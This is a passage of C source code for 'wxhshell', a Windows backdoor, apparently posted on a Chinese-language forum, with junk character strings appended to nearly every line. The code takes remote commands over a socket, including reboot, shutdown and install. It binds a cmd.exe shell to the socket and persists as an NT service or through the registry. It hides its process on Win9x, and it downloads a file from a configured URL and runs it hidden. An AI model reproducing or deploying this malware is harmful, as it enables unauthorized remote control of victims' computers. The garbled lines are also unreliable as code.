      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^Kg n:l  
    break; fjOq@thD  
  } T;?k]4.X  
  // 安装 xJ2I@*DN  
  case 'i': { a|"Uw `pX+  
    if(Install()) g/fpXO\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k%FA:ms|k  
    else rlD!%gG2x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *= ?|n   
    break; 15hqoo9!  
    } Fj(GyPFG  
  // 卸载 /0 4US5En  
  case 'r': { P:t .Nr"  
    if(Uninstall()) a eeor  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MM_:2 ^P)  
    else +D:8r|evH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -rn6ZSD)  
    break; vaGF(hfTA  
    } N@L{9ak1  
  // 显示 wxhshell 所在路径 e"52'zAV-  
  case 'p': { ~7U~   
    char svExeFile[MAX_PATH]; r4fHD~#l{  
    strcpy(svExeFile,"\n\r"); c(e>Rmh  
      strcat(svExeFile,ExeFile); #K6cBfqI  
        send(wsh,svExeFile,strlen(svExeFile),0); P/dnH  
    break; " X8jpg  
    } U!`iKy-  
  // 重启 B+snHabS6  
  case 'b': { !TJ,:c]4{!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C!a1.&HHZ7  
    if(Boot(REBOOT)) 9&5<ZC-D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ".tL+A[  
    else { Ff%V1BH[  
    closesocket(wsh); -X~mW  
    ExitThread(0); p*&0d@'r  
    } ?UZt30|1  
    break; ?)y^ [9  
    } +)iMJ]>  
  // 关机 (rd [tc  
  case 'd': { Ca PHF@6WN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); weSq |f  
    if(Boot(SHUTDOWN)) kB> ~Tb0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IF|6iKCE  
    else { yjg&/6  
    closesocket(wsh); 6FQi=}O1  
    ExitThread(0); 8.#{J&h  
    } iBd6&?E?<  
    break; L"NHr~  
    } m&Mupl  
  // 获取shell +ti ?7|bK<  
  case 's': { j 0pI  
    CmdShell(wsh); [YfoQ1  
    closesocket(wsh); N);w~)MYh  
    ExitThread(0); wOl?(w=|  
    break; WXl+w7jr  
  } )&Oc7\J,  
  // 退出 \ph.c*c  
  case 'x': { u] };QR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AO$AT_s  
    CloseIt(wsh); 2t-w0~O  
    break; ^,acU\}VqP  
    } NEIkG>\7q  
  // 离开 >F7w]XH  
  case 'q': { >s f g`4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >H!Mx_fDL  
    closesocket(wsh); )rD!4"8/A  
    WSACleanup(); ^AS \a4`/  
    exit(1); :x)H!z P  
    break; &)%+DUV|  
        } H<Oo./8+  
  } _*fNa!@hY  
  } ~,b^f{7`!  
t?W}=%M[  
  // 提示信息 {`QHg O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d]pb1ECuu  
} '7-Yo Q  
  } %w*)7@,+-  
fkBL`[v)4  
  return; hM Dd*<%l  
} 4^tSg#!V{  
lmvp,BzC  
// shell模块句柄 h'):/}JPl  
int CmdShell(SOCKET sock) 2Wz8E2.  
{ _\}'5nmw\  
STARTUPINFO si; d,V#5l-6  
ZeroMemory(&si,sizeof(si)); ,Of^xER`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O1J&Lwpk,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q8v[u_(yD  
PROCESS_INFORMATION ProcessInfo; _\ToA9m  
char cmdline[]="cmd"; sjr,)|#[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,50  
  return 0; !Rn6x $_  
} &9p!J(C  
Z<-_Y]4j  
// 自身启动模式 %9J@##+  
int StartFromService(void) {AL EK   
{ n qcq3o*B  
typedef struct W)In.?>]W  
{ Ke\\B o,  
  DWORD ExitStatus; HTJ2D@h  
  DWORD PebBaseAddress; 7K1-.uQ  
  DWORD AffinityMask; mL{P4a 1xf  
  DWORD BasePriority;  `Y#At3{  
  ULONG UniqueProcessId; 5Q?Jm~H9  
  ULONG InheritedFromUniqueProcessId; _FY&XL=  
}   PROCESS_BASIC_INFORMATION; $YL9 vJV  
I&;>(@K  
PROCNTQSIP NtQueryInformationProcess; #j QauO  
J7+G"_)'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +I3jI <  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :v&[ !  
SS=<\q#MS  
  HANDLE             hProcess; rs&]46i/p  
  PROCESS_BASIC_INFORMATION pbi; q$Gs;gz^(  
B0fOAP1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XO <wK  
  if(NULL == hInst ) return 0; tE7jTe  
Z2% HQL2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L"bOc'GfQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); liKlc]oM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eU yF<j  
Jl Do_}  
  if (!NtQueryInformationProcess) return 0; > ;,S||  
-/yqiC-yx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .DCHc,DxA  
  if(!hProcess) return 0; lvs  XL  
c/;;zc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m>@hh#kBg  
)dXa:h0RZ  
  CloseHandle(hProcess); \Pg~j\;F]  
q2qi~}l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jEc_!Q  
if(hProcess==NULL) return 0; {%V(Dd[B6  
IGdiIhH~2  
HMODULE hMod; [2%[~&4  
char procName[255]; vl"w,@V7  
unsigned long cbNeeded; '0<d9OlJ}  
j]Auun  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o>el"0rn.h  
z5+Pi:1w  
  CloseHandle(hProcess); +HK4sA2;  
a~$XD(w^  
if(strstr(procName,"services")) return 1; // 以服务启动 yk+ 50/L  
88g3<&  
  return 0; // 注册表启动 B VBn.ut  
} ]P4WfV d  
R=D]:u<P  
// 主模块 Njq}M/{U  
int StartWxhshell(LPSTR lpCmdLine) o-,."|6  
{ YB#fAU  
  SOCKET wsl; =$>=EBH,cm  
BOOL val=TRUE; +>ju,;4WK  
  int port=0; 6#=jF[  
  struct sockaddr_in door; *Rgr4-eS  
H|9t5   
  if(wscfg.ws_autoins) Install(); aO6\ e>  
&qv~)ZM$  
port=atoi(lpCmdLine); Y0LZbT3  
IkrB}  
if(port<=0) port=wscfg.ws_port; Y-VDi.]W  
]z'&oz  
  WSADATA data; =~D? K9o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i2F7O"f.  
Ss3p6%V/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^QK`z@B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); twT/uBQ4a  
  door.sin_family = AF_INET; -'rdN i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X+hHEkJ  
  door.sin_port = htons(port); Z%t_1t  
k(gbUlCc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K9!HW&?<|  
closesocket(wsl); }LHYcNw^z  
return 1; ^&zCPUH  
} =|t-0'RsN  
UhxM85M;x  
  if(listen(wsl,2) == INVALID_SOCKET) { MK&,2>m,A  
closesocket(wsl); S|85g1}t  
return 1; *t@A-Sn  
} T(J'p4  
  Wxhshell(wsl); LGP"S5V  
  WSACleanup(); r $7.  
&D, Iwq  
return 0; d?,'$$aB  
xc^@"  
} asWk]jjMG  
"<,lqIqA;  
// 以NT服务方式启动 N5Js.j>z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F%OP,>zl  
{ Y(Q 0m|3P  
DWORD   status = 0; >O'\ jp}$l  
  DWORD   specificError = 0xfffffff; _~kw^!p>Kr  
!09)WtsEfx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1\}vU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F O!Td  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A*JOp8\)  
  serviceStatus.dwWin32ExitCode     = 0; /{T&l*'  
  serviceStatus.dwServiceSpecificExitCode = 0; Sj+H{xJi  
  serviceStatus.dwCheckPoint       = 0; TI>5g(:3\  
  serviceStatus.dwWaitHint       = 0; ,jU>V]YC  
yD\q4G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7?P'f3)fG  
  if (hServiceStatusHandle==0) return; dwOfEYC  
TxrW69FV7  
status = GetLastError(); I _nQTWcm  
  if (status!=NO_ERROR) "1O_h6 C  
{ n,N->t$i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #bOv}1,s  
    serviceStatus.dwCheckPoint       = 0; M/ 3;-g  
    serviceStatus.dwWaitHint       = 0; m+QS -woHn  
    serviceStatus.dwWin32ExitCode     = status; i~@gI5[k+  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^e:z ul{;]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }:m#}s  
    return; l6M?[  
  } ,=/9Ld2w9  
,Py\Cp=Dw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Sd+5Uf `  
  serviceStatus.dwCheckPoint       = 0; qv!(In>u  
  serviceStatus.dwWaitHint       = 0; _@5Xmr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _3/u#'m0  
} L&\W+k  
ym;]3<I?I[  
// 处理NT服务事件,比如:启动、停止 SN6 QX!3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ly= .  
{ A95f!a  
switch(fdwControl) Xdvd\H=  
{ ;jP sS^X  
case SERVICE_CONTROL_STOP:  2&6D`{"P  
  serviceStatus.dwWin32ExitCode = 0; TTf j 5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NdK`-RT  
  serviceStatus.dwCheckPoint   = 0; >6es 5}  
  serviceStatus.dwWaitHint     = 0; @iz Onc:  
  { fu7x,b0p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7nt(Rtbsu  
  } I|X`9  
  return; `bP`.Wm  
case SERVICE_CONTROL_PAUSE: <ZC .9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "x$@^  
  break; ,&[o:jTk  
case SERVICE_CONTROL_CONTINUE: I4Do$&9<D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CD1Ma8I8  
  break; x{H+fq,M  
case SERVICE_CONTROL_INTERROGATE: j{C~wy!J  
  break; >+O0W)g{o  
}; '}cSBbl&/n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :ez76oGyc  
} [R]V4Hb  
r O87V!Cj  
// 标准应用程序主函数 rwWOhD)RU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }Qo]~/  
{ b9g2mWL\T  
*|&Y ,H?  
// 获取操作系统版本 g *5_m(H  
OsIsNt=GetOsVer(); 2dts}G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mnTF40l  
bTs2$81[  
  // 从命令行安装 HT7,B(.}  
  if(strpbrk(lpCmdLine,"iI")) Install(); xQR/Xp!h  
; _%zf5;'  
  // 下载执行文件 #JUh"8N'  
if(wscfg.ws_downexe) { Tv%7=P;r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8)>>EN8 R  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y3@+aA  
} ~/^fdGr  
!(*&P  
if(!OsIsNt) { m"L^tSD~  
// 如果时win9x,隐藏进程并且设置为注册表启动 [REH*_  
HideProc(); B:>:$LIL  
StartWxhshell(lpCmdLine); 5;`Ot2  
} kEh9J>|M  
else  Wvb ~j  
  if(StartFromService()) /&6{}n  
  // 以服务方式启动 [3dGHf;miw  
  StartServiceCtrlDispatcher(DispatchTable); @(R=4LL  
else g0f4>m  
  // 普通方式启动 8UB2 du@?  
  StartWxhshell(lpCmdLine); 'IU3Xu[-.  
G}U <^]c  
return 0; =Ti!9_~  
}
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只看该作者 1 发表于: 2006-10-10
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